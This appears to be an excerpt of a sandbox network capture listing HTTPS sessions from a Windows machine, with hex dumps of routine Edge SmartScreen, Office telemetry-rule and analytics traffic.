2024-11-16 18:22:30 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49834	20.25.227.174	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiU3RMWFVzTlJFUTZRSDYyeTlRR3h4UT09IiwgImhhc2giOiJBZFRFM215dDRKYz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-16 18:22:30 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-16 18:22:31 UTC	302	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-16 18:22:31 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-16 18:22:31 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-16 18:22:31 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-16 18:22:31 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-16 18:22:31 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-16 18:22:31 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-16 18:22:32 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-16 18:22:32 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 2028dee8-601e-0097-4b81-37f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182230Z-16547b76f7ftfv4jhC1DFWuhug00000000ug000000003qx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 584cc2e3-301e-005d-1eab-36e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182230Z-1866b5c5fbbldb6rhC1DFW4bew00000003cg000000009rhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182230Z-16547b76f7ffx24hhC1DFW9px400000002pg00000000f1un x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182230Z-16547b76f7fkf5v9hC1DFW2y5s000000031g00000000ae7d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49836	108.156.211.31	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	1012	OUT	GET /b2?rn=1731781348341&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A4078140C106EC03F536D2D0D356F1D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=16Ef923e810bfd5306d50c71731781349; XID=16Ef923e810bfd5306d50c71731781349
2024-11-16 18:22:30 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 16 Nov 2024 18:22:30 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a858bc3774f10c94d8baa59c0578ea78.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: gaZ1TDGMcKV_5EC3UVp1ohOwWJL2FP77JgnPQoO_3sAFlD2hFUgrBw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30a84257-201e-006e-3afb-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182230Z-16547b76f7f7zzl8hC1DFWmtag00000001y000000000ppay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

